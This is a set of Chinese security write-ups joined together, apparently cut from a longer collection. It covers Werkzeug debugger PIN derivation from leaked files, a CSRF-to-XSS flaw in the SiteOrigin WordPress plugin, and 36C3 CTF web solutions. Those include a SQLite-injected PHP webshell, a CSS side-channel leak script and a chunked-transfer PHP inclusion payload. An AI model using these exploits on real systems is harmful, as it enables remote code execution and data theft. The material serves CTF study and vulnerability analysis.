# `getpass.getuser()` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser()
except ImportError:
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv, cookie_name
return的`rv`变量就是生成的pin码
最主要的就是这一段哈希部分
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
连接了两个列表，然后循环里面的值做哈希
这两个列表的定义
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
可以先看一下debug的值，配合debug中的值做进一步分析
可以看到
`username`就是启动这个Flask的用户
`modname`为flask.app
`getattr(app, '__name__', getattr(app.__class__, '__name__'))`为Flask
`getattr(mod, '__file__', None)`为flask目录下的一个app.py的绝对路径
`uuid.getnode()`就是当前电脑的MAC地址，`str(uuid.getnode())`则是mac地址的十进制表达式
`get_machine_id()`不妨跟进去看一下
def _generate():
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
try:
with open(filename, 'rb') as f:
return f.readline().strip()
except IOError:
continue
# On OS X we can use the computer's serial number assuming that
# ioreg exists and can spit out that information.
try:
# Also catch import errors: subprocess may not be available, e.g.
# Google App Engine
# See https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
stdout=PIPE).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows we can use winreg to get the machine guid
wr = None
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
pass
if wr is not None:
try:
with wr.OpenKey(wr.HKEY_LOCAL_MACHINE,
'SOFTWARE\\Microsoft\\Cryptography', 0,
wr.KEY_READ | wr.KEY_WOW64_64KEY) as rk:
machineGuid, wrType = wr.QueryValueEx(rk, 'MachineGuid')
if (wrType == wr.REG_SZ):
return machineGuid.encode('utf-8')
else:
return machineGuid
except WindowsError:
pass
_machine_id = rv = _generate()
return rv
首先尝试读取`/etc/machine-id`或者 `/proc/sys/kernel/random/boot_i`中的值，若有就直接返回
假如是在win平台下读取不到上面两个文件，就去获取注册表中`SOFTWARE\\Microsoft\\Cryptography`的值，并返回
这里就是`etc/machine-id`文件下的值
这样，当这6个值我们可以获取到时，就可以推算出生成的PIN码，引发任意代码执行
# 配合任意文件读取
修改一下之前的app.py，增加一个任意文件读取功能，并让index页面抛出一个异常（也就是给一个代码执行点
# -*- coding: utf-8 -*- import pdb
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def hello():
return Hello['a']
@app.route("/file")
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)
尝试去获取那6个变量值
username # 用户名
modname # flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask
getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径
uuid.getnode() # mac地址十进制
get_machine_id() # /etc/machine-id
首先先获取`/etc/machine-id`
19949f18ce36422da1402b3e3fe53008
然后是mac地址（我虚拟机中网卡为ens33,一般情况下应该是eth0）
然后还可以利用debug的报错页面获取一些路径信息
这样直接用户名和app.py的绝对路径都能获得到了
然后利用几个值，就可以推算出pin码
import hashlib
from itertools import chain
probably_public_bits = [
'kingkk',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'52242498922',# str(uuid.getnode()), /sys/class/net/ens33/address
'19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
算出来pin码为
169-851-075
可以看到和终端输出的pin码值是一样的
kingkk@ubuntu:~/Code/flask$ python3 app.py
* Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger pin code: 169-851-075
尝试在debug页面输入一下
成功命令执行 | 社区文章 |
## 前言
Page Builder by
SiteOrigin是一个安装量超过100W的WordPress页面生成器插件，该插件可帮助用户使用基于小工具的页面生成器轻松构建响应式页面内容
近日wordfence安全人员披露了一个Page Builder by SiteOrigin2.10.15及以下版本中发现的严重安全漏洞：
CSRF to
XSS。攻击者可以通过诱使WordPress站点管理员单击特制链接以触发该漏洞，成功利用该漏洞可以使攻击者创建一个新的管理员帐户并安装后门程序。
## 漏洞分析
Page Builder bySiteOrigin插件内置一款实时编辑器，用户可以在观察实时更改的同时更新内容，这使得页面的编辑和设计或发布过程更加流畅。
本次漏洞就是出现在该插件内置的实时编辑器中。
在编辑文章活页面时点击实时编辑器按钮即可使用此工具
在实时编辑器中可以实时预览编辑文章、添加小工具、修改页面布局等情况
以添加小工具功能为例，我们可以添加一个自定义HTML模块
在这个模块中添加一些内容
完成编辑后，用户的编辑效果可以实时呈现在编辑器浏览页面中
实时编辑器仅提供用户对草稿的编辑与预览。如果需要保存与发布，还需要点击Save Draft按钮
在了解了Page Builder by SiteOrigin插件的功能之后，再看一下后台是如何实现与如何产生漏洞的
当用户点击实时编辑器按钮后，会进入上文描述的实时编辑器页面
此时用户可以对页面进行一些编辑操作，当用户编辑完成后点击已完成按钮后，会向后台发送如下请求：
url中p参数代表目前编辑的文章id，siteorigin_panels_live_editor=true代表目前正开启使用实时编辑器，live_editor_panels_data参数值为修改后的页面数据
可以跟进插件后台看一下代码
程序通过is_live_editor来判断是否使用实时编辑器
我们接下来看一下is_live_editor函数
is_live_editor函数的作用是检查用户是否在前端的实时编辑器中，当用户提交的请求url中siteorigin_panels_live_editor不为空时，则判断用户正在使用实时编辑器
接着，程序调用SiteOrigin_Panels_Live_Editor::single()函数包含实时编辑器文件
在SiteOrigin_Panels_Live_Editor类的构造方法中，通过add_action函数将post_metadata函数挂载到get_post_metadata
hook上
get_{\$meta_type}_metadata
hook用以处理动态部分\$meta_type指定的元数据类型并获取元数据，这里是用来获取挂载的post_metadata函数返回的元数据
接下来看一下post_metadata函数
在post_metadata函数中，对访问实时编辑器的用户身份、提交的跟新信息等进行校验，通过校验的数据可以进行后续处理并返回元数据。但post_metadata函数并没有通过校验csrf
token来保护提交数据的来源合法性。这将导致csrf漏洞的产生。
在通过一系列的校验后，程序将live_editor_panels_data参数提交的页面信息进行加工并进行渲染工作。程序使用add_filter('the_content',
string \$content )实现页面内容加工工作,然后再将其打印到屏幕上
这里用来加工页面信息的函数是generate_post_content
最终，live_editor_panels_data参数中提交的新的页面信息将会被打印到屏幕上
需要特别注意的是，此插件实施编辑器中有如下代码
实时编辑器通过header( 'X-XSS-Protection: 0');设置X-XSS-Protection响应头以关闭浏览器XSS保护。可见这个插件的实时编辑器页面中允许xss的触发。
## 漏洞利用
构造实时编辑提交页面修改的数据包
将其中的content字段改为xss payload
生成csrf poc
当管理员访问该poc页面时，xss触发
通过xss漏洞，可以构造payload进行进一步的攻击，例如添加一个管理员账号。
## 修复
在新版live-editor.php文件的xss_headers函数中加入了wp_verify_nonce()函数对nonce进行校验
这一措施可以有效的防范csrf漏洞的产生 | 社区文章 |
签到选手不请自来，经过了好几天的琢磨，终于把这次比赛的题目都弄得差不多了，这里记录一下本次比赛 Web
题目的解法，如果师傅们有更好更有意思的解法，欢迎多多与菜鸡交流。非常感谢 @rebirth @wonderkun @wupco
等师傅在我学习本次比赛赛题时候不厌其烦地指导我。
## File Magician
> **Difficulty estimate** : easy
>
> **Solved** :133/321
>
> **Points** : round(1000 · min(1, 10 / (9 + [133 solves]))) = **70** points
>
> **Description:**
>
> Finally (again), a minimalistic, open-source file hosting solution.
>
> **Download:**
>
> [file magician-3ace41f3b0282a70.tar.xz (2.1
> KiB)](https://github.com/ZeddYu/36c3-CTF-> Web/blob/master/file%20magician/file%20magician-3ace41f3b0282a70.tar.xz)
算是 Web 当中的一个签到题，直接给出 Docker 文件源代码，我们可以在本地搭起来试试。
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
session_start();
if( ! isset($_SESSION['id'])) {
$_SESSION['id'] = bin2hex(random_bytes(32));
}
$d = '/var/www/html/files/'.$_SESSION['id'] . '/';
@mkdir($d, 0700, TRUE);
chdir($d) || die('chdir');
$db = new PDO('sqlite:' . $d . 'db.sqlite3');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec('CREATE TABLE IF NOT EXISTS upload(id INTEGER PRIMARY KEY, info TEXT);');
if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){
$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
$db->exec($s);
move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');
}
$uploads = [];
$sql = 'SELECT * FROM upload';
foreach ($db->query($sql) as $row) {
$uploads[] = [$row['id'], $row['info']];
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>file magician</title>
</head>
<form enctype="multipart/form-data" method="post">
<input type="file" name="file">
<input type="submit" value="upload">
</form>
<table>
<?php foreach($uploads as $upload):?>
<tr>
<td><a href="<?= '/files/' . $_SESSION['id'] . '/' . $upload[0] ?>"><?= $upload[0] ?></a></td>
<td><?= $upload[1] ?></td>
</tr>
<?php endforeach?>
</table>
题目功能点就是一个简单的文件上传，然后在自己的 sandbox 当中看到自己的文件类型，文件类型是由`(new finfo)->file`来判断的，还使用了
sqlite 进行存储文件上传的记录。
由于创建的数据库规定了 id 为自增长的整型主键，而且它使用了`lastInsertId()`返回最后一次 insert 数据的 id 作为文件名
move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');
所以我们基本上可以不用考虑是否存在通过可控文件名上传文件 Getshell 的操作了。
纵观整个文件，其实我们可以发现，我们可控制的输入点也只有在文件类型当中，文件类型又被拼入到了 sql 语句当中
$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
所以比较明显，我们只能通过这个来进行 sql 注入来进行一些操作了。
我的思路就是 fuzz 一些特殊的文件，可能存在某些文件使用`finfo`得出来的结果含有单引号什么的，并且我们还能够插入可控数据，于是我就开始 fuzz
文件头，从`0x00`到`0xff0xff`。
终于在`0x1f0x9d`得到一个文件类型是`compress'd data`，虽然有单引号，但是不存在我们可控的数据。
还有一个是`0xfb0x01`得到一个文件类型是`QDOS object
''`，看起来很对的样子，有两个单引号，并且我们貌似可以在单引号之间插入数据，我们可以随便测试一下
发现这里被吃掉了一个`p`，于是我们调整一下 payload 就可以用来注入了。
sqlite 是可以用 .php 文件名来作为存储格式文件的，而且当前目录可写，于是我们就可以通过 sqlite attach 一个 z.php 的方法来写
shell 了。
ATTACH DATABASE 'z.php' AS t;create TABLE t.e (d text);/*
ATTACH DATABASE 'z.php' AS t;insert INTO t.e (d) VALUES ('<?php eval($_POST[a])?>');/*
这里可能需要注意的就是有长度限制，所以我们需要分两次来写 shell
### other file
看其他选手的公开的 wp 也是很有趣的一件事，然后从 ctftime 上公开的 wp，我们可以发现还存在着这么一些文件可以用来注入。
#### TeX DVI file
0xf702 文件头，在填充一定数据后有我们完全可控的数据
#### jpeg
在 jpeg 的 EXIF 数据段中有用来标识 software 的数据也是我们可控的地方，同样用来标识 comment 的地方我们也可控。于是我们可以使用
exiftool 来修改图片。
exiftool -overwrite_original -comment="payload" -software="payload2" 1.jpg
#### #!
我们还可以利用`#!/`的文件来构造 payload
#### gz
利用`gunzip`生成的 gz 文件，我们也可以用来注入，我们可控的数据是它的文件名
当然我们也可以直接修改 gz 文件内容
## WriteUpBin
> **Difficulty estimate** : medium
>
> **Solved** :13/321
>
> **Points** : round(1000 · min(1, 10 / (9 + [13 solves]))) = **455** points
>
> **Description:**
>
> Finally (again), a minimalistic, open-source social writeup hosting
> solution.
>
> **Download:**
>
> [WriteupBin-10b65573b511269f.tar.xz](https://github.com/ZeddYu/36c3-CTF-> Web/blob/master/writeupbin/WriteupBin-10b65573b511269f.tar.xz)
一道比较有意思的侧信道题目，我们可以通过所给附件搭建形式知道，flag 存放在数据库当中，并且是在 admin 用户的第一条 writeup
数据的内容当中，题目提供简单的上传文本的功能，并且可以提交给 admin ，让 admin 给你点赞。
项目结构如下：
.
├── Dockerfile //Docker文件
├── admin.py //使用selenium模拟admin登录并点赞
├── db.sql //数据库文件
├── docker-stuff
│ ├── default //配置文件
│ └── www.conf //配置文件
├── www
│ ├── general.php //连接数据库设置header头等一些初始化操作
│ ├── html
│ │ ├── add.php //添加writeup相关操作
│ │ ├── admin.php //把writeup提交给admin
│ │ ├── index.php //入口文件
│ │ ├── like.php //点赞操作
│ │ ├── login_admin.php //admin登陆操作
│ │ └── show.php //获取writeup内容
│ └── views
│ ├── header.php //在页面上方展示目前id提交的writeup
│ ├── home.php //页面中部用来提供给用户输入的界面
│ └── show.php //点赞、提交给admin的展示页面
└── ynetd //用来启动 admin.py
既然 flag 在数据库当中，那我们可以首先来看看 show.php ，因为这个文件可以直接用来获取 writeup 的内容。
<?php
include_once '../general.php';
$stmt = $db->prepare('SELECT id, content FROM `writeup` WHERE `id` = ?');
$stmt->bind_param('s', $_GET['id']);
$stmt->execute();
$writeup = mysqli_fetch_all($stmt->get_result(), MYSQLI_ASSOC)[0];
$stmt = $db->prepare('SELECT user_id FROM `like` WHERE `writeup_id` = ?');
$stmt->bind_param('s', $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
$likes = mysqli_fetch_all($result, MYSQLI_ASSOC);
include('../views/header.php');
include('../views/show.php');
我们可以看到 id 并没有什么鉴权措施，也就是说，我们可以通过 writeup id 来获取 writeup 内容，而 flag writeup id 在
admin 用户数据当中，而在 header.php 中可以看到当前用户所有的 writeup id
<?php foreach($writeups as $w): ?>
<li><a href="/show.php?id=<?= $w['id'] ?>">Writeup - <?= $w['id'] ?></a></li>
<?php endforeach; ?>
既然有提交代码给 admin 的功能，那么是不是有可能是一个 xss 或者什么的？
我们还可以看到 admin 再收到 writeup 后的主要操作：
display = Display(visible=0, size=(800, 600))
display.start()
chrome_options = Options()
chrome_options.add_argument('--disable-gpu')
chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox')
driver = webdriver.Chrome('/usr/bin/chromedriver', options=chrome_options)
url = 'http://admin:[email protected]/login_admin.php?id='+writeup_id
driver.get(url)
element = driver.find_element_by_xpath('//input[@id="like"]')
element.click()
driver.quit()
display.stop()
我们可以看到 admin 在进行登录之后使用`find_element_by_xpath`找到了 id 为 like 的 input
标签，并进行了点击，也就是提交给 admin 的 writeup 后，admin 会浏览进行点击，发送一个点赞请求
<form method="post" action="/like.php">
<input type="hidden" name="c" value="<?= $_SESSION['c'] ?>">
<input type="hidden" name="id" value="<?= $writeup['id'] ?>">
<input id="like" type="submit" value="good">
</form>
//先知竟然又把emoji这里给截断了
接着我们来看看 general.php 中的防御措施
<?php
session_start(['cookie_httponly' => true, 'cookie_samesite' => 'Strict']);
//...
function id() {
return bin2hex(random_bytes(8));
}
$nonce = base64_encode(id());
//...
header('x-xss-protection: 1; mode=block');
header('X-Content-Type-Options: nosniff');
header('x-frame-options: DENY');
header('Referrer-Policy: no-referrer');
header("Feature-Policy: geolocation 'none'; midi 'none'; sync-xhr 'none'; microphone 'none'; camera 'none'; magnetometer 'none'; gyroscope 'none'; speaker 'none'; fullscreen 'none'; payment 'none'; usb 'none'; vr 'none'; encrypted-media 'none'");
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-".$nonce."' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.0/jquery.min.js https://cdnjs.cloudflare.com/ajax/libs/parsley.js/2.8.2/parsley.min.js; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; require-sri-for script style;");
而`script-src`设置的 nonce 只在 header.php 使用了，而且我们也拿不到这个 nonce
<script nonce="<?=$nonce?>">
$('#publish-form').parsley() // prevent hacking
</script>
所以我们可能需要往点击事件那一方面思考，并且利用题目引入的两个 js 文件入手，一个 jquery.js ，另一个 parsley.js。
### Parsley.js
我们可以去 [parsley.js doc](https://parsleyjs.org/doc/index.html) 看到该 lib
的简单说明以及使用：
> Parsley is a javascript form validation library. It helps you provide your
> users with feedback on their form submission before sending it to your
> server. It saves you bandwidth, server load and it saves time for your
> users.
>
> Javascript form validation is not necessary, and if used, it **does not
> replace strong backend server validation.**
>
> That's why Parsley is here: to let you define your general form validation,
> implement it on the backend side, and simply port it frontend-side, with
> maximum respect to user experience best practices.
可以看出这是个简单的前端验证库，简单查一下文档，我们可以发现有几个有意思的 API：
> **data-parsley-trigger="input"**
>
> Specify one or many javascript events that will trigger item validation,
> before any failure. To set multiple events, separate them with a space data-> parsley-trigger="focusin focusout". Default is null. See the various events
> supported by jQuery.
>
> **data-parsley-error-message="my message"**
>
> Customize a unique global message for the field.
>
> **data-parsley-errors-container="#element"**
>
> Specify the existing DOM container where ParsleyUI should put the errors. It
> is also possible to configure it with a callback function from javascript,
> see the annotated source.
根据文档，我们可以利用`data-parsley-trigger`设置我们的触发方式，使用`data-parsley-error-message`来自定义我们的错误信息，使用`data-parsley-errors-container`来自定义我们的显示错误的位置。
根据文档，我们可以简单用一个`data-parsley-validate`指定我们需要验证的表单，然后利用错误信息把元素标签输出出来，并且我们接着还可以利用指定输出位置来控制输出，例如：
<form data-parsley-validate>
<input type="text"
data-parsley-trigger="blur" autofocus name="some-field"
data-parsley-error-message="<input id=like type=button value=padyload>"
data-parsley-required
data-parsley-errors-container="#div1"/>
</form>
`data-parsley-trigger`指定了`blur`事件，也就是当我们的 input 失焦时，会显示我们的错误信息，并且在 id 为 div1
的元素中显示，更重要的是，浏览器也将其进行了渲染。
### Click
回到题目当中，admin 所做的动作有两个，一个就是登录，根据题目信息，我们基本上对这个操作没办法进行什么干扰，另外一个就是点赞了，更具体来说就是通过
show.php 打开你的 writeup 内容，并且点击页面上 id 为 like 的 input
标签，所以我们更可能的事对点赞操作进行一个干扰或者其他的操作，并且根据实际测试，通过
`selenium.webdriver`调用`find_element_by_xpath`函数得到的 id 为 like 的 input
元素只能有第一个，也就是说，即使我们在 writeup 内容中插入一个 id 为 like 的 input 标签，admin
也只会根据页面顺序拿到第一个点赞 input 。
并且 CSP 也限制得很严格，似乎陷入了僵局，但是如果我们有以上 parsley.js 的知识，我们似乎可以通过错误信息来构造一些 Payload 。
首先，因为`find_element_by_xpath`只会得到第一个 id 为 like 的 input 标签，而我们通过 parsley.js
可以将错误信息输出到指定页面位置，所以我们大概可以有一个想法，把一个没有用的单独的 id 为 like 的 input 标签插入到原来的点赞按钮之前。
但是这有什么用呢？我们再来仔细看看 admin 要点赞的那个页面
页面上部分是 header.php ，会展示当前用户所提交的 writeup ，也就是说 admin 的这个页面，第一个也是唯一一个 a 标签就是 flag
的地址，现在的问题就变成了我们怎么获取这个地址的问题了，更详细的来说，我们如何获取这个 a 标签中的 href 属性值，或者更确切的说就是获取
writeup id 的事情了。
### CSS Selector
如何获取 a 标签中的 href 属性值貌似也就跟我们之前提到的`data-parsley-errors-container` API 有关了，而这个
API 又支持 CSS 选择器，那我们是不是可以通过 CSS 选择器来让我们的报错信息放到这个 a 标签之后呢，这样以来也就直接就放到了点赞按钮之前了。
类似之前 XCTF Final 一个 CSS
侧信道的题目，我们可以通过利用`a[href^='/show.php?id={flag}]`的形式来进行元素选择。
也就是说，当我们传入的 flag 值与页面中的 href 属性值也就是 writeup id 前部分完全匹配的时候，我们可以把一个无效的 id=like
input 标签插入到该 a 标签之后，亦即真正用于提交 like 请求的 input 标签之前；如果我们传入的 flag 值与页面中的 href
属性值也就是 writeup id 前部分不完全匹配的，parsley.js 什么也不会做，admin 会正常地点赞，我们可以正常地在自己的 writeup
页面看到 admin 的点赞。
所以基于这个差异，我们可以利用这种形式来进行一个侧信道攻击获取 flag 的 writeup id。
脚本编写也比较简单：
import requests
import time
s = requests.Session()
base_url = "http://ip:8001/"
res = s.get(base_url)
pos = res.text.find('name="c" value="') + len('name="c" value="')
csrftoken = res.text[pos:pos+16]
ss = "1234567890abcdef"
flag = ""
for i in range(16):
for j in ss:
payload = f"<form data-parsley-validate><input data-parsley-required data-parsley-trigger=\"blur\" data-parsley-error-message='<input type=\"input\" id=like value=\"rebirth_is_really_nb\">' data-parsley-errors-container=\"a[href^='/show.php?id={flag + j}']\" autofocus></form>"
data = {'c': csrftoken, 'content': payload}
res = s.post(base_url + "add.php", data=data, allow_redirects=False)
# print(res.headers)
location = res.headers['Location']
pos = location.find('id=') + 3
wp = location[pos:]
data = {'c': csrftoken, 'id': wp}
res = s.post(base_url + "admin.php", data=data)
time.sleep(3)
res = s.get(f"http://ip:8001/show.php?id={wp}")
# print(res.text)
txt = res.text.replace("\n", "").replace("\r", "")
if "Liked by</h3>admin" not in txt:
flag += j
print(i,flag)
break
拿到 writeup id 之后直接访问即可：
### Other Selector
当然该页面不仅可以使用 a 标签的 href 属性进行获取 writeup id，也可以获取它 value 值，例如：
<form data-parsley-validate>
<input type="text">
<input type="text"
id="like"
data-parsley-trigger="blur" autofocus
name="some-field"
data-parsley-error-message="<input id=like type=button>" data-parsley-required
data-parsley-errors-container="a:contains('Writeup - 5'):eq(0)" /></form>
或者使用`data-parsley-equalto` API 进行判断属性值：
> **data-parsley-equalto="#anotherfield"**
>
> Validates that the value is identical to another field's value (useful for
> password confirmation check).
<form data-parsley-validate>
<input type="text"
data-parsley-trigger="focusout"
data-parsley-equalto='a[href^="/show.php?id=GUESS"]'
data-parsley-errors-container="form[action='/like.php']"
data-parsley-error-message='<input type="input" name="id" value="0000000000000000">'
value='a[href^="/show.php?id=GUESS"]'
autofocus>
<input type="submit">
</form>
## Includer
> **Difficulty estimate** : medium
>
> **Solved** :9/321
>
> **Points** : round(1000 · min(1, 10 / (9 + [9 solves]))) = **556** points
>
> **Description:**
>
> Just sitting here and waiting for PHP 8.0 (lolphp).
>
> **Download:**
>
> [includer-df39401c4c1c28ab.tar.xz (3.5
> KiB)](https://github.com/ZeddYu/36c3-CTF-Web/blob/master/includer/includer-> df39401c4c1c28ab.tar.xz)
题目给出源代码以及部署文件，源代码如下：
<?php
declare(strict_types=1);
$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";
try {
if (stripos(file_get_contents($_POST['file']), '<?') === false) {
include_once($_POST['file']);
}
}
finally {
system('rm -rf '.escapeshellarg($rand_dir));
}
### Configuration Error
其中配置文件有一个比较明显的配置错误：
location /.well-known {
autoindex on;
alias /var/www/html/well-known/;
}
开启了列目录并且我们可以遍历到上层文件夹。
### Upload Arbitrary Data
一开始我看到这个没有`<?`的形式，我想到的是p牛博客里面有关死亡 exit
的内容，[谈一谈php://filter的妙用](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)，奈何原文用的是`file_put_content`，我们这里用的是`file_get_contents`，并且这里的判断也在使用了`file_get_contents`函数之后进行判断是否有`<?`，所以这里的编码绕过就不太可能了。
而且这里最奇怪的就是之前用了一些看似无关紧要的代码，比如使用了`putenv()`函数等，给了我们一个 sandbox
，然而我们似乎无法利用表面的代码进行文件上传啥的操作。
balsn 队伍在公开的 wp 中写了比较详细的源码分析，这里我就配合其中的 wp 进行一下简单的分析。
首先直接给出结论，我们可以使用`compress.zip://`流进行上传任意文件，接着我们来看看相关原理。
在 [php-src](https://github.com/php/php-src)
源代码中，我们可以找到该流的相关触发解析函数`php_stream_gzopen`
ext/zlib/zlib_fopen_wrapper.c
php_stream *php_stream_gzopen(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,
zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
...
if (strncasecmp("compress.zlib://", path, 16) == 0) {
path += 16;
} else if (strncasecmp("zlib:", path, 5) == 0) {
path += 5;
}
innerstream = php_stream_open_wrapper_ex(path, mode, STREAM_MUST_SEEK | options | STREAM_WILL_CAST, opened_path, context);
...
return NULL;
}
我们可以看到有个标志位`STREAM_WILL_CAST`，我们可以先看看这个标志位用来干嘛，在`main/php_streams.h`定义了该标志位:
/* If you are going to end up casting the stream into a FILE* or
* a socket, pass this flag and the streams/wrappers will not use
* buffering mechanisms while reading the headers, so that HTTP
* wrapped streams will work consistently.
* If you omit this flag, streams will use buffering and should end
* up working more optimally.
* */
#define STREAM_WILL_CAST 0x00000020
很明显，这是一个用来将 stream 转换成 FILE* 的标志位，在这里就与我们创建临时文件有关了。
接着我们跟进`php_stream_open_wrapper_ex`函数，该函数在`main/php_streams.h`中被 define
为`_php_stream_open_wrapper_ex`。
PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
//...
if (stream != NULL && (options & STREAM_MUST_SEEK)) {
php_stream *newstream;
switch(php_stream_make_seekable_rel(stream, &newstream,
(options & STREAM_WILL_CAST)
? PHP_STREAM_PREFER_STDIO : PHP_STREAM_NO_PREFERENCE))
//...
return stream;
}
/* }}} */
该函数调用了`php_stream_make_seekable_rel`，并向其中传入了`STREAM_WILL_CAST`参数，我们跟进`php_stream_make_seekable_rel`函数，它在`main/php_streams.h`中被
define 为`_php_stream_make_seekable`，继续跟进
main/streams/cast.c
/* {{{ php_stream_make_seekable */
PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{
if (newstream == NULL) {
return PHP_STREAM_FAILED;
}
*newstream = NULL;
if (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
*newstream = origstream;
return PHP_STREAM_UNCHANGED;
}
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
//...
}
/* }}} */
我们可以看到如果`flags`与`PHP_STREAM_PREFER_STDIO`都被设置的话，而`PHP_STREAM_PREFER_STDIO`在
main/php_streams.h 中已经被 define
#define PHP_STREAM_PREFER_STDIO 1
我们只需要关心 flags 的值就好了，我们只需要确定 flags 的值非零即可，根据前面的跟进我们易知 flags
的在这里非零，所以这里就调用了`php_stream_fopen_tmpfile`函数创建了临时文件。
于是我们可以做一个简单的验证，在本机上跑源代码，并用 pwntools 起一个服务用来发送一个大文件
from pwn import *
import requests
import re
import threading
import time
def send_chunk(l, data):
l.send('''{}\r
{}\r
'''.format(hex(len(data))[2:], data))
while(True):
l = listen(9999)
l.wait_for_connection()
data1 = ''.ljust(1024 * 8, 'X')
data2 = '<?php system("/readflag"); exit(); /*'.ljust(1024 * 8, 'b')
data3 = 'c*/'.rjust(1024 * 8, 'c')
l.recvuntil('\r\n\r\n')
l.send('''HTTP/1.1 200 OK\r
Content-Type: exploit/revxakep\r
Connection: close\r
Transfer-Encoding: chunked\r
\r
''')
send_chunk(l, data1)
print('waiting...')
print('sending php code...')
send_chunk(l, data2)
sleep(3)
send_chunk(l, data3)
l.send('''0\r
\r
\r
''')
l.close()
这样我在本机上用 fswatch 很明显可以看到临时文件已经生成，并且文件内容就是我们发送的内容。
### Keep Temp File
临时文件终究还是会被 php 删除掉的，如果我们要进行包含的话，就需要利用一些方法让临时文件尽可能久的留存在服务器上，这样我们才有机会去包含它。
所以这里是我们需要竞争的第一个点，基本上我们有两种方法让它停留比较久的时间：
* 使用大文件传输，这样在传输的时候就会有一定的时间让我们包含到文件了。
* 使用 FTP 速度控制，大文件传输根本上还是传输速度的问题，我们可以通过一些方式限制传输速率，比较简单的也可以利用`compress.zlib://ftp://`形式，控制 FTP 速度即可
### Bypass Waf
接下来我们就要看如何来对关键地方进行绕过了。
if (stripos(file_get_contents($_POST['file']), '<?') === false) {
include_once($_POST['file']);
}
这个地方问了很多师傅，包括一血的 TokyoWesterns 的队员以及参考了主要的公开 WP，基本都是利用两个函数之间极端的时间窗进行绕过。
